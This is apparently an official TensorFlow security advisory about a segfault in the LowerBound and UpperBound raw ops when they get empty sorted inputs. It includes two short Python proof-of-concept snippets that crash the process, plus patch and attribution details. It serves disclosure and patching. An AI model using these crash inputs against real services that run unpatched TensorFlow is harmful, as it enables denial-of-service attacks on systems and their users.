TensorFlow vulnerable to segfault in `LowerBound` and `UpperBound`

Impact

If LowerBound or UpperBound is given an emptysorted_inputs input, it results in a nullptr dereference, leading to a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)

import tensorflow as tf

out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)

Patches

We have patched the issue in GitHub commit bce3717eaef4f769019fd18e990464ca4a2efeea.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.